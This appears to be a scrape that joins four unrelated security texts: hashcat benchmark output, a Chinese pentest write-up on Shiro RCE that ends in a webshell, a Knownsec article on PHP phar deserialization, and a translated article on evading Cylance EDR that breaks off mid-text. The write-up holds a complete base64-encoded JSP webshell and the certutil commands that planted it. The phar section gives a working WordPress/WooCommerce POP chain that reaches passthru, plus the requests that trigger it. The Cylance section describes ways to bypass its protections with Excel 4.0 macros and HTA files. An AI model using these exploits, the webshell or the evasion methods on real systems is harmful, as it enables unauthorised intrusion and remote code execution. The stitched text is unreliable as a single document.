Hashtype: NTLM
Speed.Dev.#*.....: 123.6 GH/s
Hashtype: Domain Cached Credentials (DCC), MS Cache
Speed.Dev.#*.....: 34610.3 MH/s
Hashtype: Domain Cached Credentials 2 (DCC2), MS Cache 2
Speed.Dev.#*.....: 962.5 kH/s
Hashtype: MS-AzureSync PBKDF2-HMAC-SHA256
Speed.Dev.#*.....: 31233.0 kH/s
Hashtype: descrypt, DES(Unix), Traditional DES
Speed.Dev.#*.....: 2693.9 MH/s
Hashtype: BSDiCrypt, Extended DES
Speed.Dev.#*.....: 4644.9 kH/s
Hashtype: md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5
Speed.Dev.#*.....: 30373.0 kH/s
Hashtype: bcrypt, Blowfish(OpenBSD)
Speed.Dev.#*.....: 43551 H/s
Hashtype: sha256crypt, SHA256(Unix)
Speed.Dev.#*.....: 1119.1 kH/s
Hashtype: sha512crypt, SHA512(Unix)
Speed.Dev.#*.....: 452.4 kH/s
Hashtype: OSX v10.4, v10.5, v10.6
Speed.Dev.#*.....: 20460.9 MH/s
Hashtype: OSX v10.7
Speed.Dev.#*.....: 2807.7 MH/s
Hashtype: OSX v10.8+
Speed.Dev.#*.....: 36781 H/s
Hashtype: AIX {smd5}
Speed.Dev.#*.....: 30276.5 kH/s
Hashtype: AIX {ssha1}
Speed.Dev.#*.....: 133.5 MH/s
Hashtype: AIX {ssha256}
Speed.Dev.#*.....: 49406.4 kH/s
Hashtype: AIX {ssha512}
Speed.Dev.#*.....: 19433.0 kH/s
Hashtype: Cisco-PIX MD5
Speed.Dev.#*.....: 48626.6 MH/s
Hashtype: Cisco-ASA MD5
Speed.Dev.#*.....: 52994.5 MH/s
Hashtype: Cisco-IOS SHA256
Speed.Dev.#*.....: 9226.9 MH/s
Hashtype: Cisco $8$
Speed.Dev.#*.....: 177.9 kH/s
Hashtype: Cisco $9$
Speed.Dev.#*.....: 50522 H/s
Hashtype: Juniper Netscreen/SSG (ScreenOS)
Speed.Dev.#*.....: 36738.6 MH/s
Hashtype: Juniper IVE
Speed.Dev.#*.....: 30130.1 kH/s
Hashtype: Android PIN
Speed.Dev.#*.....: 16053.8 kH/s
Hashtype: Citrix NetScaler
Speed.Dev.#*.....: 21787.7 MH/s
Hashtype: RACF
Speed.Dev.#*.....: 7799.3 MH/s
Hashtype: GRUB 2
Speed.Dev.#*.....: 128.7 kH/s
Hashtype: Radmin2
Speed.Dev.#*.....: 25038.3 MH/s
Hashtype: SAP CODVN B (BCODE)
Speed.Dev.#*.....: 6866.1 MH/s
Hashtype: SAP CODVN F/G (PASSCODE)
Speed.Dev.#*.....: 3126.7 MH/s
Hashtype: SAP CODVN H (PWDSALTEDHASH) iSSHA-1
Speed.Dev.#*.....: 17913.0 kH/s
Hashtype: Lotus Notes/Domino 5
Speed.Dev.#*.....: 645.2 MH/s
Hashtype: Lotus Notes/Domino 6
Speed.Dev.#*.....: 216.3 MH/s
Hashtype: Lotus Notes/Domino 8
Speed.Dev.#*.....: 1934.4 kH/s
Hashtype: PeopleSoft
Speed.Dev.#*.....: 25445.7 MH/s
Hashtype: PeopleSoft PS_TOKEN
Speed.Dev.#*.....: 9339.2 MH/s
Hashtype: 7-Zip
Speed.Dev.#*.....: 28257 H/s
Hashtype: WinZip
Speed.Dev.#*.....: 3216.6 kH/s
Hashtype: RAR3-hp
Speed.Dev.#*.....: 99770 H/s
Hashtype: RAR5
Speed.Dev.#*.....: 108.3 kH/s
Hashtype: AxCrypt
Speed.Dev.#*.....: 349.8 kH/s
Hashtype: AxCrypt in memory SHA1
Speed.Dev.#*.....: 23241.1 MH/s
Hashtype: TrueCrypt PBKDF2-HMAC-RipeMD160 + XTS 512 bit
Speed.Dev.#*.....: 793.9 kH/s
Hashtype: TrueCrypt PBKDF2-HMAC-SHA512 + XTS 512 bit
Speed.Dev.#*.....: 1120.8 kH/s
Hashtype: TrueCrypt PBKDF2-HMAC-Whirlpool + XTS 512 bit
Speed.Dev.#*.....: 109.7 kH/s
Hashtype: TrueCrypt PBKDF2-HMAC-RipeMD160 + XTS 512 bit + boot-mode
Speed.Dev.#*.....: 1480.7 kH/s
Hashtype: VeraCrypt PBKDF2-HMAC-RipeMD160 + XTS 512 bit
Speed.Dev.#*.....: 2476 H/s
Hashtype: VeraCrypt PBKDF2-HMAC-SHA512 + XTS 512 bit
Speed.Dev.#*.....: 2569 H/s
Hashtype: VeraCrypt PBKDF2-HMAC-Whirlpool + XTS 512 bit
Speed.Dev.#*.....: 124 H/s
Hashtype: VeraCrypt PBKDF2-HMAC-RipeMD160 + XTS 512 bit + boot-mode
Speed.Dev.#*.....: 5063 H/s
Hashtype: VeraCrypt PBKDF2-HMAC-SHA256 + XTS 512 bit
Speed.Dev.#*.....: 3342 H/s
Hashtype: VeraCrypt PBKDF2-HMAC-SHA256 + XTS 512 bit + boot-mod
Speed.Dev.#*.....: 8433 H/s
Hashtype: Android FDE <= 4.3
Speed.Dev.#*.....: 2366.6 kH/s
Hashtype: Android FDE (Samsung DEK)
Speed.Dev.#*.....: 863.1 kH/s
Hashtype: eCryptfs
Speed.Dev.#*.....: 39401 H/s
Hashtype: MS Office <= 2003 MD5 + RC4, oldoffice$0, oldoffice$1
Speed.Dev.#*.....: 685.3 MH/s
Hashtype: MS Office <= 2003 MD5 + RC4, collision-mode #1
Speed.Dev.#*.....: 980.4 MH/s
Hashtype: MS Office <= 2003 SHA1 + RC4, oldoffice$3, oldoffice$4
Speed.Dev.#*.....: 890.8 MH/s
Hashtype: MS Office <= 2003 SHA1 + RC4, collision-mode #1
Speed.Dev.#*.....: 1000.7 MH/s
Hashtype: Office 2007
Speed.Dev.#*.....: 386.2 kH/s
Hashtype: Office 2010
Speed.Dev.#*.....: 192.9 kH/s
Hashtype: Office 2013
Speed.Dev.#*.....: 25923 H/s
Hashtype: PDF 1.1 - 1.3 (Acrobat 2 - 4)
Speed.Dev.#*.....: 1013.4 MH/s
Hashtype: PDF 1.1 - 1.3 (Acrobat 2 - 4) + collider-mode #1
Speed.Dev.#*.....: 1128.2 MH/s
Hashtype: PDF 1.4 - 1.6 (Acrobat 5 - 8)
Speed.Dev.#*.....: 50091.0 kH/s
Hashtype: PDF 1.7 Level 3 (Acrobat 9)
Speed.Dev.#*.....: 9227.4 MH/s
Hashtype: PDF 1.7 Level 8 (Acrobat 10 - 11)
Speed.Dev.#*.....: 96326 H/s
Hashtype: Password Safe v2
Speed.Dev.#*.....: 979.7 kH/s
Hashtype: Password Safe v3
Speed.Dev.#*.....: 3613.3 kH/s
Hashtype: Lastpass
Speed.Dev.#*.....: 6804.1 kH/s
Hashtype: 1Password, agilekeychain
Speed.Dev.#*.....: 9649.3 kH/s
Hashtype: 1Password, cloudkeychain
Speed.Dev.#*.....: 32199 H/s
Hashtype: Bitcoin/Litecoin wallet.dat
Speed.Dev.#*.....: 12914 H/s
Hashtype: Blockchain, My Wallet
Speed.Dev.#*.....: 187.0 MH/s
Hashtype: Keepass 1 (AES/Twofish) and Keepass 2 (AES)
Speed.Dev.#*.....: 416.5 kH/s
Hashtype: ArubaOS
Speed.Dev.#*.....: 20293.3 MH/s | 社区文章 |
## 前言
某APP渗透测试，主页就一个登录框，登录框认证调用的公司门户站的SSO单点登录，再加上长亭的waf，几乎牢不可破，常规手法都有尝试，没有什么突破点。
## 脱壳逆向
jadx一把梭，看看有没有什么敏感信息泄露，审源码的时候发现有爱加密加固，反射大师脱壳一把梭，得到dex文件，然后又jadx一把梭看代码（这个过程就省略了，主题不是它）。
## 逆向分析
大致粗略的看了一下，用的okhttp框架，有反抓包，直接hook绕过即可正常抓包，数据库密码，阿里osskey之类的也没有硬编码在app中，没有什么敏感信息可以利用，登录验证算法都是调用的单点登录，也没有什么突破点。
## 突破口
**#1** 正当没啥进展的时候，乱翻了翻基础类源码，发现BaseUrlConfig类中有一串URL，都是一个ip，但是端口不一样。
推荐一款app信息搜集工具，能主动扫描获取app中的url信息，`AppInfoScanner`
**#2** 访问链接，页面空白，由图标得知上面搭载的tomcat。
**#3**
然后全局搜索`http://`关键词，又搜到一个url（这次是域名），类似于`http://xxxxx:8080/web/weixin/xxxxxx`，浏览器打开看了一下，没啥东西，也是空白页面。因为url中出现weixin关键词，推测两种可能，第一种：登陆点，第二种，微信授权接口。
所以简单猜了下路径，在weixin后面加了个login，`http://xxxxx:8080/web/weixin/login`，发现登陆点，由于路径跟上面发现的url类似，推测它也是java的后端，直接shiro一把梭，默认key，成功rce，java后端rce一般都是system权限。
## 写入webshell踩坑
RCE之后呢，当然不能只满足现状，为了方便管理，肯定得写个webshell的。
写shell，用的最多的就几种，小马传大马，手动echo写入，远程下载等方式，这里服务器不通外网，也就没法远程下载了，没有上传点，而且小马的代码量跟冰蝎差不多，就不考虑写小马了。
#### 坑1—特殊字符转义
windows服务器写shell，常规做法无非就是echo shell内容 >
shell.jsp，shell内容中肯定有特殊字符，用^转义一下就行了，但是这里目标环境是jsp，jsp马跟其他马不一样，内容多，特殊字符多，转义起来麻烦得很，我这里以写冰蝎为例，转义了半天，把所有特殊字符都转义了，先本地测试了一下，能成功写马，但是在shiro工具里就不行…估计跟编码有关，大概试了半个多小时，无果。放弃。
#### 坑2—BASE解码报错
特殊字符多，还有一中办法是先把shell内容base64编码一下，然后在目标机上解码。cmd是有base64解码的功能的，具体可以百度certutil用法。
certutil -decode 1.txt 2.txt //1.txt解码生成2.txt。
情况还是一样的，本地测试成功，在服务器上就是解码失败，输出长度为0，箭头指向的本来是0的，我偷懒就随便找了张图 。
除此之外，什么字符拼接啊，base64一段段输入然后解码啊，全试过了，不是报错就是写不进去或者是base解码输出长度为0，大概率是目标服务器的问题，在这里浪费了大量时间。
##### **成功写入webshell**
最后咋解决的呢，最后采用的fuzz大法，把shell内容一段段base64编码上传，然后解码，一段一段的fuzz测试，看到底是那部分字符导致了base解码失败。
最后锁定了冰蝎马的最后四个字符
**`;}%>`**，不加这四个字符，base64解码能正常输出内容，只要base64编码里是以这四个字符结尾，那么就解码报错。
#### **坑3** —根目录webshell不解析
成功写入webshell之后，解码也成功了，webshell地址写在了网站根目录，连接时发现报错，手动访问发现webshell直接变成了下载链接，webshell根本没解析。后来将webshell写入docs目录下才成功解析，因为docs目录是tomcat自带的说明文档目录。
## 整理思路
**1.** 找到了问题所在，那么就定点打击。思路是：先将除最后四个字符以外的shell内容base编码传到目标上，然后解码输出到2.jsp。
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KQ>1.txt
certutil -decode 1.txt 2.jsp
**2.** 剩下的四个特殊字符经过echo语句 手动追加到2.jsp末尾
echo ^;^}^%^>>2.jsp
**3.** 最后成功写入docs目录。附上一张连接图
* * *
## 结尾
这波写shell，大概耗时两个多小时，还有很多小细节没说，本地操作不报错并不代表服务器上操作不会报错，环境可能不一样，有时候还有玄学问题，在此之前我也有过shiro写shell的经历，但是那次没这么多问题，一次性base解码写shell成功，而且直接通过文件下载把webshell下载到目标中也行，每个人遇到的环境都可能不一样，最好的方法就是不断fuzz测试，找到报错的原因，然后精准打击。
**再补充一句…内存马注入也可以，但是任意把站弄崩，别问我怎么知道的，不到万不得已不注入内存马。**
最后确认资产的时候没打偏，打到了该公司的一台其他业务的服务器上去了，如果从正面刚APP的话，就算有shiro，也没法绕waf，如果正面无法突破的话，可以尝试搜集一些app内部的敏感信息，说不定有突破口。 | 社区文章 |
**Author: Knownsec 404 Team**
**Date: August 23, 2018**
**Chinese Version:<https://paper.seebug.org/680/>**
### 0x01 Introducton
When we usually exploit the deserialization vulnerability, we can only send
the serialized string to `unserialize()`. As the code becomes more and more
secure, it is more and more difficult to exploit. But on the Black Hat 2018,
the security researcher Sam Thomas shared the topic: _It’s a PHP
unserialization vulnerability Jim, but not as we know it_. Since the phar file
stores user-defined meta-data in serialized form, the attack surface of the
PHP deserialization vulnerability has been extended. With the parameter of
filesystem function (`file_exists()`, `is_dir()`, etc.) under control, this
method can be used with `phar://` pseudo-protocol to directly perform
deserialization without relying on `unserialize()`. This makes some functions
that previously seemed "harmless" become "insidious". Let's take a look at
these attacks.
### 0x02 Principles Analysis
#### 2.1 The Phar File Structure
Before we learn about the attacks, we need to firstly look at the file
structure of the phar, and it consists of four parts:
##### 1\. A **Stub**
It can be interpreted as a flag and the format is `xxx<?php xxx;
__HALT_COMPILER();?>`.The front content is not limited, but it must end with
`__HALT_COMPILER();?>`, otherwise the phar extension will not recognize this
file as a phar file.
##### 2\. A **Manifest** Describing the Contents
A phar file is essentially a compressed file, in which the permissions,
attributes and other information of each compressed file are included. This
section also stores user-defined meta-data in serialized form, which is the
core of the above attacks.
##### 3\. The File **Contents**
It’s the contents of the compressed file.
##### 4\. [optional] a **signature** for verifying Phar integrity (phar file
format only)
The format is as follows:
#### 2.2 Demo
Construct a phar file according to the file structure, and PHP has a built-in
phar class to handle related operations.
PS: Set the `phar.readonly` option in `php.ini` to `Off`, otherwise the phar
file cannot be generated.
`phar_gen.php`
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
It can be clearly seen that meta-data is stored in serialized form:
Since there is serialization data, there must be deserialization operation.
Most filesystem functions in PHP will deserialize meta-data when parsing phar
files through `phar://` pseudo-protocol. The affected functions after the test
are as follows:
Here's how the underlying PHP code works:
`php-src/ext/phar/phar.c`
Verify via the demo:
`phar_test1.php`
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
Other functions are certainly feasible:
`phar_test2.php`
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/a_random_string';
file_exists($filename);
//......
?>
When the parameters of filesystem function are controllable, we can
deserialize it without calling `unserialize()`, and some functions that
previously seemed "harmless" become "insidious," greatly expanding the attack
surface.
#### 2.3 Forge phar into files in other formats
In the previous analysis of phar's file structure, you may have noticed that
PHP identifies phar file through the stub of its file header, or more
specifically it’s by `__HALT_COMPILER();?>`, and the previous content or
suffix name is not restrained. We can then forge the phar file into other
formats by adding arbitrary file headers and modifying the suffix name.
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
This method can bypass a large part of the upload detection.
### 0x03 Exploitation
#### 3.1 Exploitation Conditions
1. Phar files should be able to be uploaded to the server.
2. There is a magic trick available as a "springboard".
3. The parameters of file operation function are controllable, and some special characters such as `:`、`/`、`phar` are not filtered.
#### 3.2 Wordpress
Wordpress is the most widely-used cms on the Internet. This vulnerability was
reported to the official in February 2017, but it has not been fixed yet. The
previous arbitrary file deletion vulnerabilities also appeared in this part of
the code, and there was no fix. According to the exploitation conditions, we
must first construct a phar file.
Find out the class methods that can execute arbitrary code:
`wp-includes/Requests/Utility/FilteredIterator.php`
class Requests_Utility_FilteredIterator extends ArrayIterator {
/**
* Callback to run as a filter
*
* @var callable
*/
protected $callback;
...
public function current() {
$value = parent::current();
$value = call_user_func($this->callback, $value);
return $value;
}
}
This class inherits `ArrayIterator`, and the `current()` method is called
every time the object instantiated by this class enters `foreach` to be
traversed. Next we need to find a destructor that uses `foreach` internally.
Unfortunately, there are no proper classes in the core code of wordpress, so
we have to start with plugins.Here is a class that can be exploited in the
**WooCommerce** plugin:
`wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php`
class WC_Log_Handler_File extends WC_Log_Handler {
protected $handles = array();
/*......*/
public function __destruct() {
foreach ( $this->handles as $handle ) {
if ( is_resource( $handle ) ) {
fclose( $handle ); // @codingStandardsIgnoreLine.
}
}
}
/*......*/
}
Here we have finished constructing the pop chain, and we construct the phar
file accordingly:
<?php
class Requests_Utility_FilteredIterator extends ArrayIterator {
protected $callback;
public function __construct($data, $callback) {
parent::__construct($data);
$this->callback = $callback;
}
}
class WC_Log_Handler_File {
protected $handles;
public function __construct() {
$this->handles = new Requests_Utility_FilteredIterator(array('id'), 'passthru');
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头，伪造文件类型
$o = new WC_Log_Handler_File();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
After changing the suffix to "gif", you can upload it in the background or
through the XMLRPC interface, both of which requires author permissions or
above. Write down the **file name** and **post_ID** after uploading.
Next we have to find a filesystem function whose parameter is controllable:
`wp-includes/post.php`
function wp_get_attachment_thumb_file( $post_id = 0 ) {
$post_id = (int) $post_id;
if ( !$post = get_post( $post_id ) )
return false;
if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )
return false;
$file = get_attached_file( $post->ID );
if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {
/**
* Filters the attachment thumbnail file path.
*
* @since 2.1.0
*
* @param string $thumbfile File path to the attachment thumbnail.
* @param int $post_id Attachment ID.
*/
return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
}
return false;
}
This function can be accessed by calling the "wp.getMediaItem" method via
XMLRPC. The variable `$thumbfile` send `file_exists()`, which is exactly what
we need. Now we need to trace back to the `$thumbfile` variable to see if it's
controllable.
According to `$thumbfile = str_replace(basename($file), $imagedata['thumb'],
$file)`, if `basename($file)` is the same as `$file`, the value of
`$thumbfile` is just that of `$imagedata['thumb']`. Firstly, let's see how
`$file` is obtained:
`wp-includes/post.php`
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
// If the file is relative, prepend upload dir.
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}
if ( $unfiltered ) {
return $file;
}
/**
* Filters the attached file based on the given ID.
*
* @since 2.1.0
*
* @param string $file Path to attached file.
* @param int $attachment_id Attachment ID.
*/
return apply_filters( 'get_attached_file', $file, $attachment_id );
}
If `$file` is a path `Z:\Z` similar to the Windows drive letter, the RegExp
will fail, and `$file` will not splice anything else. In this case, you can
ensure that `basename($file)` is the same as `$file`.
You can call the value of setting `$file` by sending the following packet:
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 147
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close
_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp- admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editpost&post_type=attachment&post_ID=11&file=Z:\Z
You can also set the value of `$imagedata['thumb']` by sending the following
packet:
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 184
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close
_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp- admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editattachment&post_ID=11&thumb=phar://./wp-content/uploads/2018/08/phar-1.gif/blah.txt
`_wpnonce` is available on the modification page.
Finally, the `wp_get_attachment_thumb_file()` function is called by calling
"wp.getMediaItem" via XMLRPC to trigger deserialization. The data package
called via XML is as follows:
POST /wordpress/xmlrpc.php HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
Cookie: XDEBUG_SESSION=PHPSTORM
Content-Length: 529
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>wp.getMediaItem</methodName>
<params>
<param>
<value>
<string>1</string>
</value>
</param>
<param>
<value>
<string>author</string>
</value>
</param>
<param>
<value>
<string>you_password</string>
</value>
</param>
<param>
<value>
<int>11</int>
</value>
</param>
</params>
</methodCall>
### 0x04 Defense
1. When the parameters of filesystem function are controllable, filter the parameters strictly.
2. Strictly check the contents of the uploaded file, not just the header.
3. Conditions permitting, disable dangerous functions that can execute system commands and code.
### 0x05 Reference
1. <https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf>
2. <http://php.net/manual/en/intro.phar.php>
3. <http://php.net/manual/en/phar.fileformat.ingredients.php>
4. <http://php.net/manual/en/phar.fileformat.signature.php>
5. <https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf>
### About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# EDR规避研究：如何绕过Cylance
|
##### 译文声明
本文是翻译文章，文章原作者 mdsec.co.uk，文章来源：mdsec.co.uk
原文地址：<https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
红队成员经常需要跟许多大型组织打交道，因此我们经常面对各种各样的EDR（端点检测和响应）解决方案。为了提高在这些环境中的成功率，我们会定期分析这些产品，确定防护特征、绕过方法以及其他策略，确保行动能畅通无阻。在这些解决方案中，我们经常面对的是CylancePROTECT，这是Cylance
Inc推出的一款产品（Cylance最近被Blackberry以14亿美元[收购](https://www.itworldcanada.com/article/blackberry-completes-acquisition-of-cylance/415246)）。
在本文中，我们将与大家分享可能帮助红队绕过CylancePROTECT的一些方法，并且简要介绍一下CylanceOPTICS（能够提供基于规则检测的一种补充方案）。我们的目标是帮助防御方理解该解决方案的工作原理，更好理解其中的不足，以便引入补充方案，解决潜在风险。
## 二、Cylance概述
CylancePROTECT（以下简称为Cylance）是基于设备策略的一种EDR解决方案，可以通过Cylance
SaaS口进行配置，具体策略包括如下安全相关选项：
* 内存操作：控制启用哪些内存保护机制，包括漏洞利用、进程注入以及越界技术。
* 应用控制：阻止新应用运行。
* 脚本控制：配置该选项以便阻止Active Script（VBS及JS）、PowerShell以及Office宏。
* 设备控制：配置对可移动设备的访问权限。
在本文中，我们将探索这些控制机制的有效性，也会分享如何绕过或禁用这些机制的方法。我们研究的对象为CylancePROTECT
2.0.1500版，这也是本文撰写时（2018年12月）的最新版本。
## 三、脚本控制
CylancePROTECT的脚本控制功能可以帮助管理员配置是否阻止或允许Windows脚本、PowerShell以及Office宏，也可以配置是否在端点上弹出警告信息。典型的配置如下所示，可以阻止所有脚本、PowerShell以及宏文件：
在这种配置下，该解决方案会禁用包含VBA宏的简单文档，甚至如下相对无害的宏也无法幸免：
同时Cylance仪表盘中将生成相应事件，如下所示：
虽然这种机制对普通的VBA宏来说非常有效，但我们发现Excel
4.0宏并没有在限制名单中，具备完全访问权限（参考[该视频](https://vimeo.com/322902013)）。
CylancePROTECT并没有限制启用Excel
4.0宏的文档，甚至当策略明确要阻止宏文档时也不起作用。因此，我们可以通过这种方法在Cylance环境中获得初始访问权限。大家可以参考[Stan
Hegt](https://twitter.com/StanHacked)发表的[研究成果](https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/)了解启用Excel 4.0宏文档的相关内容。
需要注意的是，其他控制策略（如阻止漏洞利用、注入及越界等内存防护策略）仍处于生效状态，稍后我们将讨论这方面内容。
除了宏之外，CylancePROTECT也能阻止Windows Script
Host文件运行（特别是VBScript及JavaScript文件）。因此，当我们尝试在`.js`或者`.vbs`文件中使用`WScript.Shell`运行脚本时，由于启动了ActiveScript防护，Cylance会阻止这种行为，如下所示：
Cylance面板中将看到如下错误信息：
然而，如果我们使用同一段JavaScript代码，将其嵌入某个HTML应用中，如下所示：
可以看到，如果脚本没有直接使用`wscript.exe`来运行，那么CylancePROTECT就不会应用同样的控制策略。如[该视频](https://vimeo.com/322903302)所示，通过`mshta.exe`运行的HTA并不会遇到任何阻拦。
能弹出计算器当然不错，接下来我们看看使用SharpShooter配合HTA时能达到什么效果。
SharpShooter可以生成一个DotNetToJScript
payload，在内存中执行原始shellcode（使用`VirtualAlloc`在内存中分配空间，获得指向该shellcode的函数指针，然后再[执行](https://github.com/mdsecactivebreach/SharpShooter/blob/master/templates/shellcode.cs)，这是在.NET中执行shellcode的标准方法）。当执行HTA时，Cylance会阻止payload并生成一个错误，查看面板后我们并不能得到太多信息，但基本上可以肯定这是内存防护控制策略所造成的结果：
这里先不要管shellcode执行的问题（回头我们会解决这个问题），我们发现Cylance对执行`calc.exe`的方式并不是特别感冒（不管是通过宏或者HTA
payload）。再来看看如果尝试下载或运行Cobalt Strike
beacon会出现什么情况。这里我们使用如下HTA，通过WScript调用`certutil`来下载和执行Cobalt Strike可执行文件：
执行过程参考[此处视频](https://vimeo.com/322903912)。
从视频中可知，如果目标环境中部署了CylancePROTECT，那么我们可能非常需要将常用的应用程序列入白名单中。
## 四、内存防护
现在来看一下内存保护机制。当分析端点安全产品的内存保护机制时，我们非常有必要澄清该产品如何检测常见的可疑API调用（如`CreateRemoteThread`或`WriteProcessMemory`）。
我们可以通过控制台选项了解Cylance支持的内存分析策略：
